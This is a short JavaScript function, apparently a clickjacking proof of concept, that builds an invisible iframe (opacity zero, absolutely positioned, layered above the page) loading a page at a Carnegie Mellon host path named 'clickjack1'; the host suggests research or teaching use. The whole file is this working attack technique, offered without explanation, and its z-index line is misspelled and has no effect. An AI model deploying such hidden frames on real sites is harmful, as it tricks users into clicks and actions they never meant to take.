function init() {
  var iframe = document.createElement("iframe");
  iframe.setAttribute("class", "elem");
  iframe.setAttribute("src", "http://peek.aladdin.cs.cmu.edu/cgi-bin/clickjack1");
  // IE fail
  iframe.style.position = 'absolute';
  iframe.style.top = '150px';
  iframe.style.left = '100px';
  iframe.style.filter = 'alpha(opacity=0)';
  iframe.style.zindex = '2';
  document.body.appendChild(iframe);
}